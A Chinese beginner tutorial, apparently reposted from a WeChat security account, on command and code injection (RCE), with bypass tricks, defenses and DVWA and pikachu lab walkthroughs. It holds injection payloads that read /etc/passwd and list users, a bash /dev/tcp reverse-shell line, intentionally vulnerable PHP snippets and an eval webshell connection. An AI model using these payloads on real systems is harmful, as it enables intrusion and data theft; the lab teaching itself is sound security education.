一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

admin 2025年5月13日00:20:08评论1 views字数 2793阅读9分18秒阅读模式

命令执行漏洞(Remote Command Execution, RCE)是指攻击者通过注入恶意命令,让目标服务器执行任意系统命令,从而控制服务器或获取敏感信息。

一、RCE 攻击的原理

RCE 漏洞的本质是:

服务器后端程序将用户输入的不可信数据拼接或传递给系统函数(如 system()exec()popen() 等)并执行。

Web 应用有时需要调⽤⼀些执行系统命令的函数,例如,如果想测试 www.xxx.com 是否可以正常连接,那么Web 应用底层就很可能去调用系统操作命令,如果此处没有过滤好用户输⼊的数据,就很有可能形成系统命令执行漏洞,使系统执行非预期的命令。

二、常见触发函数(以 PHP 为例)

函数
说明
system()
执行命令并输出结果
exec()
执行命令并返回最后一行
shell_exec()
执行命令并返回所有输出
passthru()
执行命令并直接输出原始数据
popen()

 / proc_open()
打开进程的管道
backticks(`ls`)
执行命令并返回结果

其他语言也有类似函数,例如:

  • Python :、os.system()subprocess.*
  • Java :Runtime.getRuntime().exec()

三、攻击方式分类

1. 直接命令注入

示例代码(PHP):

<?php
$cmd = $_GET['cmd'];
system($cmd);
?>

利用方式:

http://example.com/vuln.php?cmd=ls

2. 命令拼接

如果用户输入被拼接到命令中:

$ip = $_GET['ip'];
system("ping " . $ip);

攻击者输入:

127.0.0.1; cat /flag

执行命令:

ping 127.0.0.1; cat /flag

四、常用绕过技术(过滤/黑名单绕过)

  1. 空格绕过:

    • 使用${IFS}$IFStn
    • 如:ping${IFS}127.0.0.1
  2. 字符编码绕过:

    • URL 编码、Unicode 编码等
  3. 命令替代:

    • $(command)`command`
    • 利用 shell 特性:如 、、、|&&||;
  4. 双重编码或截断:

    • %2520 解码两次为 (空格)%20
  5. 环境变量与别名替代:

    • 使用  之类的路径直接执行/bin/sh
    • 使用环境变量绕过路径限制

五、利用目的

  • 查看敏感文件(如 、)/etc/passwd/flag
  • 反弹 Shell (bash -i >& /dev/tcp/IP/PORT 0>&1)
  • 安装木马、远控
  • 横向移动或提权

六、防御措施

  • 永远不要信任用户输入
  • 对参数进行白名单校验
  • 避免使用系统命令,使用语言自带功能替代
  • 最小权限原则:Web 服务用户权限最小化
  • 使用 WAF 检测异常请求

DVWA 靶场的 Command Injection(命令注入)模块。

low级别

1.先从Low级别开始,low级别的代码接收了用户输⼊的ip,服务器通过判断操作系统执行不同 ping 命令。但是这⾥对⽤户输⼊的 ip 并没有进行任何的过滤,所以存在可利⽤的命令执行漏洞。一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

漏洞点分析

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

代码关键部分:

$target = $_REQUEST[ 'ip' ]; 
...
$cmd = shell_exec( 'ping  -c 4 ' . $target );
  • 用户可控参数  被直接拼接到 shell 命令中,然后传给  函数。$targetshell_exec()
  • 没有任何过滤或验证。
  • 攻击者可构造输入,如:,让系统执行多个命令。127.0.0.1; cat /etc/passwd

利用方式示例

⽤&&来执行多条命令,构造 payload(有效载荷):

127.0.0.1&&net user
  • &&是 shell 运算符,表示前一个命令成功时才执行后一个命令。
  • 127.0.0.1 是合法的 IP,会使 ping 正常执行。
  • net user 是 Windows 命令,列出系统所有用户。 如果执行环境是 Windows,会泄露当前系统的用户名信息。 如果是Linux,net user 会报错,但可以用 && cat /etc/passwd 等命令替代。

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞出现中文乱码的现象,我们先修改一下靶机的语言配置

方法一:

  • 按住win+r,在运行框中输入cmd弹出命令行,在命令行中输入“control intl.cpl”
  • 我们将它改成英语并重新启动即可(重启后记得打开PHP和MySQL服务)
一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

重新输入发现没有中文乱码

127.0.0.1 & ipconfig
一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞方法二

把 DVWAdvwaincludes ⽬录下的 dvwaPage.inc.php ⽂件中所有的“charset=utf-8”,全部替换修改为“charset=gb2312”即可

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

medium级别

看一下源代码,发现&&和;被过滤掉了一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

不用&&,直接用&就可以!&&和&的区别在于 &&是执行完前面的命令然后执行后面的命令,&是不管前面的命令是否值执行,后面的都执行。

构造 poyload: 127.0.0.1 & ipconfig
一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

high级别

查看一下源代码,发现相⽐于前⾯两个等级的,high 等级的⿊名单更完善了,但是由于只是过滤掉了 “| ” ,如果⽤ | 后不跟空格就可以绕过过滤一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

 127.0.0.1|net user
一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

pikachu 靶场的 Command Injection(命令注入)模块。

exec ping关卡

pikachu 靶场同样提供了测试域名/IP 的 Ping 功能(命令执行漏洞模块),并将 Ping 命令的执行过程显示出来。下面测试域名:www.baidu.com 是否可以正常连接,如图:

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

先看一下源代码,没有发现被过滤的命令一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

查看一下ip:
127.0.0.1 & ipconfig

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞我们可以执行其他命令了,在很多时候打靶场我们都会利用rce来反弹监听。在知道了系统命令可以连接执行后,如果 Web 应用程序没有过滤好输入,就变得相当危险。常用的命令连接符:

Windows 和 Linux 都支持的连接符:

A|B   只执行 B
A||B  如果 A 执行出错,则执行 B,如果A执行成功就不执行B
A&B   先执行 A,不管是否成功,都会执行 B
A&&B  先执行 A,执行成功后执行 B,否则不执行B
A;B   先执行 A,再执行B(只有Linux⽀持的连接符)

A|B

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞A||B

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞
一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

A&B

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞
一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

A&&B

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞
一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

exec "eval"代码执行漏洞关卡

代码注入攻击与命令注入攻击不同。因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。

以pikachu为例

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞
输⼊ phpinfo();(注意要带上分号)

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞发现直接执行了我们输入的代码。我们看一下源代码,查看代码发现是 eval()函数执行了我们的提交参数。

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

既然能执行eval(),那我们可以利用蚁剑构造一句话木马连接

$_POST['txt']

用蚁剑添加body表单字段,这里要注意的是编码器和解析器都选择base64,否则连接返回的数据为空

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞
一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞成功利用远程代码漏洞进入对方主机,如果需要提权,可以利用蚁剑连接的前提反弹监听,进一步进行渗透

原文始发于微信公众号(Cauchy网安):一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月13日00:20:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一篇文章带小白从原理到靶场练习搞懂RCE命令执行漏洞https://cn-sec.com/archives/4054188.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息